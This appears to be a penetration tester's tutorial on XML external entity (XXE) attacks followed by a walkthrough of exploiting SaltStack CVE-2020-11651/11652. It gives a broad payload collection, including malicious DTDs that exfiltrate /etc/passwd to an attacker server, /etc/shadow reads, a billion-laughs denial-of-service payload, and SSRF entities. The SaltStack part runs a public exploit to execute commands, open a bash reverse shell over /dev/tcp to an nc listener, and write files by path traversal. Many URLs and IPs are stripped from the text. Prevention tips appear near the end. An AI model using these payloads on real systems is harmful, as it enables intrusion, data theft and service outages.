Extensible Stylesheet Language Transformations (or XSLT) is a text format that describes the transformation applied to XML documents. The official specification provides basic transformation. Languages such as Java and .NET have introduced extension to allow the invocation of method from the stylesheet. The Java implementation is more prone to vulnerability being enabled by default. It has the capability to access all class in the classpath.

If you are seeing a feature that allows you to configure an XSLT file in a Java application, remote code execution might be possible.

In the root node, classes (java.lang.Runtime and java/java.lang.String) are imported for future reference. To customize the previous payload, you need to edit the assignment . The touch command can be replaced with any command available on the server.

Note: This vector (XSLT RCE) is not considered an XXE as it focus on a different feature of XML.

Finding and exploiting blind XXE vulnerabilities

Blind XXE vulnerabilities arise where the application is vulnerable to XXE injection but does not return the values of any defined external entities within its responses.

  • You can trigger out-of-band network interactions, sometimes exfiltrating sensitive data within the interaction data.
  • You can trigger XML parsing errors in such a way that the error messages contain sensitive data.

Detecting blind XXE using out-of-band (OAST) techniques

You can often detect blind XXE using the same technique as for XXE SSRF attacks but triggering the out-of-band network interaction to a system that you control.

  • HTTP: <!DOCTYPE foo [ <!ENTITY xxe SYSTEM ""> ]>
  • DNS: <!DOCTYPE foo [ <!ENTITY xxe SYSTEM ""> ]>

This XXE attack causes the server to make a back-end HTTP request to the specified URL. The attacker can monitor for the resulting DNS lookup and HTTP request, and thereby detect that the XXE attack was successful.


In this example I will use an application that uses XML to draw

1. I start a webserver using python

  • Python3 -m http.server 7777

2. I use the same SSRF technique just to make sure I get back from the server to my web server

<?xml version="1.0"?>

<!DOCTYPE any [






<link href="https//"></link>




3. As nothing is displayed on screen I would need to check on my server logs

4. I see the requests are coming from, I can also capture traffic from that host using TCPDump

  • sudo tcpdump -i any src

5. Even though nothing is printed on the screen we can say that the command is working as we are getting traffic back to us


1. Sometimes, XXE attacks using regular entities are blocked, due to some input validation by the application or some hardening of the XML parser that is being used. (use XML parameter entities instead)

<?xml version="1.0"?>

<!DOCTYPE foo [

<!ENTITY % xxe SYSTEM ""> %xxe;


2. This XXE payload declares an XML parameter entity called xxe and then uses the entity within the DTD. This will cause a DNS lookup and HTTP request to the attacker's domain, verifying that the attack was successful.

Exploiting blind XXE to exfiltrate data out-of-band

Detecting a blind XXE vulnerability via out-of-band techniques is all very well, but it doesn't actually demonstrate how the vulnerability could be exploited. What an attacker really wants to achieve is to exfiltrate sensitive data. This can be achieved via a blind XXE vulnerability, but it involves the attacker hosting a malicious DTD on a system that they control, and then invoking the external DTD from within the in-band XXE payload.

1. An example of a malicious DTD to exfiltrate the contents of the /etc/passwd file is as follows (you can use &#x25; instead of % sign):

<!ENTITY % file SYSTEM "file:///etc/passwd">

<!ENTITY % eval "<!ENTITY &#x25; exfiltrate SYSTEM ';'>">



This DTD carries out the following steps:

  • Defines an XML parameter entity called file, containing the contents of the /etc/passwd file.
  • Defines an XML parameter entity called eval, containing a dynamic declaration of another XML parameter entity called exfiltrate. The exfiltrate entity will be evaluated by making an HTTP request to the attacker's web server containing the value of the file entity within the URL query string.
  • Uses the eval entity, which causes the dynamic declaration of the exfiltrate entity to be performed.
  • Uses the exfiltrate entity, so that its value is evaluated by requesting the specified URL.

The attacker must then host the malicious DTD on a system that they control, normally by loading it onto their own webserver. For example, the attacker might serve the malicious DTD at the following URL:


2. Finally, the attacker must submit the following XXE payload to the vulnerable application:

  • <!DOCTYPE foo [<!ENTITY % xxe SYSTEM ""> %xxe;]>


  • This XXE payload declares an XML parameter entity called xxe and then uses the entity within the DTD.
  • This will cause the XML parser to fetch the external DTD from the attacker's server and interpret it inline.
  • The steps defined within the malicious DTD are then executed
  • the /etc/passwd file is transmitted to the attacker's server

Note: This technique might not work with some file contents, including the newline characters contained in the /etc/passwd file. This is because some XML parsers fetch the URL in the external entity definition using an API that validates the characters that are allowed to appear within the URL. In this situation, it might be possible to use the FTP protocol instead of HTTP. Sometimes, it will not be possible to exfiltrate data containing newline characters, and so a file such as /etc/hostname can be targeted instead.

Steps taken:

  • The client sends the POST request with the injected XML code
  • The server, via the XML parser, parses the XML from top to bottom, reaching the injected ENTITY
  • The server requests payload.dtd from
  • responds with payload.dtd
  • The code within payload.dtd is parsed by the XML parser, which reads the contents of win.ini and sends it as a parameter in an HTTP GET request back to

Exploiting blind XXE to retrieve data via error messages

An alternative approach to exploiting blind XXE is to trigger an XML parsing error where the error message contains the sensitive data that you wish to retrieve. This will be effective if the application returns the resulting error message within its response.

You can trigger an XML parsing error message containing the contents of the /etc/passwd file using a malicious external DTD as follows:

<!ENTITY % file SYSTEM "file:///etc/passwd">

<!ENTITY % eval "<!ENTITY &#x25; error SYSTEM 'file:///nonexistent/%file;'>">



This DTD carries out the following steps:

  • Defines an XML parameter entity called file, containing the contents of the /etc/passwd file.
  • Defines an XML parameter entity called eval, containing a dynamic declaration of another XML parameter entity called error. The error entity will be evaluated by loading a nonexistent file whose name contains the value of the file entity.
  • Uses the eval entity, which causes the dynamic declaration of the error entity to be performed.
  • Uses the error entity, so that its value is evaluated by attempting to load the nonexistent file, resulting in an error message containing the name of the nonexistent file, which is the contents of the /etc/passwd file.

Invoking the malicious external DTD will result in an error message like the following:

Example payload:

<?xml version="1.0" encoding="UTF-8"?>

<!DOCTYPE foo [<!ENTITY % xxe SYSTEM ""> %xxe;]>


Note: Please notice that external DTD allows us to include one entity inside the second (eval), but it is prohibited in the internal DTD. Therefore, you can't force an error without using an external DTD (usually).

Exploiting blind XXE by repurposing a local DTD

The preceding technique works fine with an external DTD, but it won't normally work with an internal DTD that is fully specified within the DOCTYPE element. This is because the technique involves using an XML parameter entity within the definition of another parameter entity. Per the XML specification, this is permitted in external DTDs but not in internal DTDs. (Some parsers might tolerate it, but many do not.)

So what about blind XXE vulnerabilities when out-of-band interactions are blocked? You can't exfiltrate data via an out-of-band connection, and you can't load an external DTD from a remote server.

In this situation, it might still be possible to trigger error messages containing sensitive data, due to a loophole in the XML language specification. If a document's DTD uses a hybrid of internal and external DTD declarations, then the internal DTD can redefine entities that are declared in the external DTD. When this happens, the restriction on using an XML parameter entity within the definition of another parameter entity is relaxed.

This means that an attacker can employ the error-based XXE technique from within an internal DTD, provided the XML parameter entity that they use is redefining an entity that is declared within an external DTD. Of course, if out-of-band connections are blocked, then the external DTD cannot be loaded from a remote location. Instead, it needs to be an external DTD file that is local to the application server. Essentially, the attack involves invoking a DTD file that happens to exist on the local filesystem and repurposing it to redefine an existing entity in a way that triggers a parsing error containing sensitive data.

For example, suppose there is a DTD file on the server filesystem at the location /usr/local/app/schema.dtd, and this DTD file defines an entity called custom_entity. An attacker can trigger an XML parsing error message containing the contents of the /etc/passwd file by submitting a hybrid DTD like the following:

<!DOCTYPE foo [

<!ENTITY % local_dtd SYSTEM "file:///usr/local/app/schema.dtd">

<!ENTITY % custom_entity '

<!ENTITY &#x25; file SYSTEM "file:///etc/passwd">

<!ENTITY &#x25; eval "<!ENTITY &#x26;#x25; error SYSTEM &#x27;file:///nonexistent/&#x25;file;&#x27;>">






This DTD carries out the following steps:

  • Defines an XML parameter entity called local_dtd, containing the contents of the external DTD file that exists on the server filesystem.
  • Redefines the XML parameter entity called custom_entity, which is already defined in the external DTD file. The entity is redefined as containing the error-based XXE exploit that was already described, for triggering an error message containing the contents of the /etc/passwd file.
  • Uses the local_dtd entity, so that the external DTD is interpreted, including the redefined value of the custom_entity entity. This results in the desired error message.

Locating an existing DTD file to repurpose

Since this XXE attack involves repurposing an existing DTD on the server filesystem, a key requirement is to locate a suitable file. This is actually quite straightforward. Because the application returns any error messages thrown by the XML parser, you can easily enumerate local DTD files just by attempting to load them from within the internal DTD.

For example, Linux systems using the GNOME desktop environment often have a DTD file at /usr/share/yelp/dtd/docbookx.dtd. You can test whether this file is present by submitting the following XXE payload, which will cause an error if the file is missing:

<!DOCTYPE foo [

<!ENTITY % local_dtd SYSTEM "file:///usr/share/yelp/dtd/docbookx.dtd">



After you have tested a list of common DTD files to locate a file that is present, you then need to obtain a copy of the file and review it to find an entity that you can redefine. Since many common systems that include DTD files are open source, you can normally quickly obtain a copy of files through internet search.

Finding hidden attack surface for XXE injection

Attack surface for XXE injection vulnerabilities is obvious in many cases, because the application's normal HTTP traffic includes requests that contain data in XML format. In other cases, the attack surface is less visible. However, if you look in the right places, you will find XXE attack surface in requests that do not contain any XML.

XInclude attacks

Some applications receive client-submitted data, embed it on the server-side into an XML document, and then parse the document. An example of this occurs when client-submitted data is placed into a back-end SOAP request, which is then processed by the backend SOAP service.

In this situation, you cannot carry out a classic XXE attack, because you don't control the entire XML document and so cannot define or modify a DOCTYPE element. However, you might be able to use XInclude instead. XInclude is a part of the XML specification that allows an XML document to be built from sub-documents. You can place an XInclude attack within any data value in an XML document, so the attack can be performed in situations where you only control a single item of data that is placed into a server-side XML document.

To perform an XInclude attack, you need to reference the XInclude namespace and provide the path to the file that you wish to include. For example:

<foo xmlns:xi="">

<xi:include parse="text" href="file:///etc/passwd"/></foo>

XXE attacks via file upload

Some applications allow users to upload files which are then processed server-side. Some common file formats use XML or contain XML subcomponents. Examples of XML-based formats are office document formats like DOCX and image formats like SVG.

For example, an application might allow users to upload images, and process or validate these on the server after they are uploaded. Even if the application expects to receive a format like PNG or JPEG, the image processing library that is being used might support SVG images. Since the SVG format uses XML, an attacker can submit a malicious SVG image and so reach hidden attack surface for XXE vulnerabilities.

XXE attacks via modified content type

Most POST requests use a default content type that is generated by HTML forms, such as application/x-www-form-urlencoded. Some web sites expect to receive requests in this format but will tolerate other content types, including XML.

For example, if a normal request contains the following:

POST /action HTTP/1.0

Content-Type: application/x-www-form-urlencoded

Content-Length: 7


Then you might be able submit the following request, with the same result:

POST /action HTTP/1.0

Content-Type: text/xml

Content-Length: 52

<?xml version="1.0" encoding="UTF-8"?><foo>bar</foo>

If the application tolerates requests containing XML in the message body, and parses the body content as XML, then you can reach the hidden XXE attack surface simply by reformatting requests to use the XML format.

How to find and test for XXE vulnerabilities

The vast majority of XXE vulnerabilities can be found quickly and reliably using Burp Suite's web vulnerability scanner.

Manually testing for XXE vulnerabilities generally involves:

  • Testing for file retrieval by defining an external entity based on a well-known operating system file and using that entity in data that is returned in the application's response.
  • Testing for blind XXE vulnerabilities by defining an external entity based on a URL to a system that you control, and monitoring for interactions with that system. Burp Collaborator client is perfect for this purpose.
  • Testing for vulnerable inclusion of user-supplied non-XML data within a server-side XML document by using an XInclude attack to try to retrieve a well-known operating system file.



  • XML parsers are vulnerable to XML external entity injection attack (XXE) by default. The best solution would be to configure the XML processor to use a local static DTD.
  • Disallow any declared DTD included in the XML document.
  • If external Entities aren’t required then disable them completely.
  • Sanitization process should be done for all users’ input.
  • Encode the user input in such a way that entities cannot be defined through user input.
  • Use less complex data formats, such as JSON, and avoiding serialization of sensitive data.
  • Patch or upgrade all XML processors and libraries in use by the application or on the operating system.
  • Use a dependency checker. Update the SOAP to SOAP 1.2 or higher.
  • Implement the positive whitelisting server-side input validation, filtering or sanitization to prevent hostile data within XML documents, header or nodes.
  • Verify the XML or XSL file upload function for validation process.

How to prevent XXE vulnerabilities

Virtually all XXE vulnerabilities arise because the application's XML parsing library supports potentially dangerous XML features that the application does not need or intend to use. The easiest and most effective way to prevent XXE attacks is to disable those features.

Generally, it is sufficient to disable resolution of external entities and disable support for XInclude. This can usually be done via configuration options or by programmatically overriding default behavior. Consult the documentation for your XML parsing library or API for details about how to disable unnecessary capabilities.

Additional Prevention Tips

  • Manually disable DTDs – configure XML parsers in your applications to disable custom document type definitions (DTDs). Most applications don’t use DTDs, so this should not hurt any functionality, but can prevent XXE attacks.
  • Instrument your application server – insert checkpoints in specific parts of your code to monitor runtime execution, and detect and block classes related to XML processing. This can deal with XML parsers you missed somewhere in your application code, and can prevent the most severe XXE exploits which lead to remote code execution.
  • Use security tools – Web Application Firewalls (WAF) have built-in rules that can block obvious XXE inputs. Dynamic Application Security Testing (DAST) tools can scan for XXE vulnerabilities early in the development process and suggest how to remediate them.
  • Harden configuration against XXE – the regular application hardening best practices will also be effective against XXE. Limit permissions, validate all inputs to ensure they do not reach XML parsing logic, handle errors, use authentication and encryption, limit outbound traffic, and limit DNS communications.

XXE Payloads samples

XXE: Basic XML

<!--?xml version="1.0" ?-->





XXE: Entity

<!--?xml version="1.0" ?-->

<!DOCTYPE replace [<!ENTITY example "Doe"> ]>





XXE: Finding files

<!--?xml version="1.0" ?-->

<!DOCTYPE replace [<!ENTITY ent SYSTEM "file:///etc/shadow"> ]>






<!--?xml version="1.0" ?-->

<!DOCTYPE lolz [<!ENTITY lol "lol"><!ELEMENT lolz (#PCDATA)>

<!ENTITY lol1 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;

<!ENTITY lol2 "&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;">

<!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;">

<!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;">

<!ENTITY lol5 "&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;">

<!ENTITY lol6 "&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;">

<!ENTITY lol7 "&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;">

<!ENTITY lol8 "&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;">

<!ENTITY lol9 "&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;">



<?xml version="1.0"?>

<!DOCTYPE foo [

<!ELEMENT foo (#ANY)>

<!ENTITY xxe SYSTEM "file:///etc/passwd">]><foo>&xxe;</foo>

XXE: LFI blind

<?xml version="1.0"?>

<!DOCTYPE foo [

<!ELEMENT foo (#ANY)>

<!ENTITY % xxe SYSTEM "file:///etc/passwd">

<!ENTITY blind SYSTEM ";">]><foo>&blind;</foo>

XXE: Bypass Access controls (PHP)

<?xml version="1.0"?>

<!DOCTYPE foo [

<!ENTITY ac SYSTEM "php://filter/read=convert.base64-encode/resource=">]>


XXE: SSRF (Server Side Request Forgery)

<?xml version="1.0"?>

<!DOCTYPE foo [

<!ELEMENT foo (#ANY)>

<!ENTITY xxe SYSTEM "">]><foo>&xxe;</foo>

XXE: (Remote - XML Inclusion)

<?xml version="1.0"?>

<!DOCTYPE lolz [

<!ENTITY test SYSTEM "">]>



<?xml version="1.0" encoding="UTF-7"?>




XXE: Base64

<!DOCTYPE test [ <!ENTITY % init SYSTEM "data://text/plain;base64,ZmlsZTovLy9ldGMvcGFzc3dk"> %init; ]><foo/>

XXE: XXE inside SOAP



<![CDATA[<!DOCTYPE doc [<!ENTITY % dtd SYSTEM "http://x.x.x.x:22/"> %dtd;]><xxx/>]]>



XXE: XXE inside SVG

<svg xmlns="" xmlns:xlink="" width="300" version="1.1" height="200">

<image xlink:href="expect://ls"></image>



SaltStack Salt REST API Arbitrary Command Execution (CVE-2020-11651, CVE-2020-11652)

The Salt system is a Python-based, open-source remote execution framework for configuration management, automation, provisioning, and orchestration.

Running commands on remote systems is the core function of Salt. Salt can execute multiple commands across thousands of systems in seconds with a single execution.


An issue was discovered in SaltStack Salt before 2019.2.4 and 3000 before 3000.2. The salt-master process ClearFuncs class does not properly validate method calls. This allows a remote user to access some methods without authentication. These methods can be used to retrieve user tokens from the salt master and/or run arbitrary commands on salt minions.


An issue was discovered in SaltStack Salt before 2019.2.4 and 3000 before 3000.2. The salt-master process ClearFuncs class allows access to some methods that improperly sanitize paths. These methods allow arbitrary directory access to authenticated users.

Affected Products

  • SaltStack Salt 2019.2.3
  • SaltStack Salt 3000.1
  • Cisco Modeling Labs Corporate Edition (CML)
  • Cisco TelePresence IX5000 Series
  • Cisco Virtual Internet Routing Lab Personal Edition (VIRL-PE)


1. This vulnerability is present before the version 3000.1. We will enumerate this service, first I noticed an API site exposed


2. In order to examine the version I ran I curl command and sent a HTTP request, to check upon the response header. I noticed “X-Upstream: salt-api/3000-1

  • curl -v


1. Knowing this API is SaltStack we can proceed to look for exploits, I found this one that worked really well

2. We will proceed to download the exploit, and install the required libraries (salt)

  • git clone
  • sudo pip3 install salt
  • cd CVE-2020-11651-poc
  • ls

3. now we proceed to execute the file, we will execute the help toption

  • python3 -h

4. Now we will proceed, to execute the program as a test. If we get the “root key” it means it is working without issues

  • python3 --master

5. Now I will run a test command, I’ll run a ping command and capture it with TCPDump (this will only execute in the master, if you need to execute into all the minion server use --exec-all)

Packet Capture

  • sudo tcpdump -i tun0

Command execution

  • python3 --master --exec "ping -c 4"

Output in packet capture

6. At this point we know that we can execute commands and we have connectivity back to our local machine. Now I will start a listener, and, execute a bash reverse shell


  • nc -lvp 4505

Reverse Shell

  • python3 --master --exec "bash -i >& /dev/tcp/ 0>&1"

Final result, (reverse shell)

  • whoami && date && hostname


1. We can upload files, and, read them to verify

  • echo "Vry4n was here" > sample.txt
  • python3 --master --upload-src sample.txt --upload-dest ../../../../../../../../tmp/sample.txt
  • python3 --master -r "/tmp/sample.txt"

2. We can also read files using (-r)

  • python3 --master -r "/etc/passwd"


Upgrade to the latest version of Salt (2019.2.4, 3000.2 or later), available from the SALTSTACK Web site.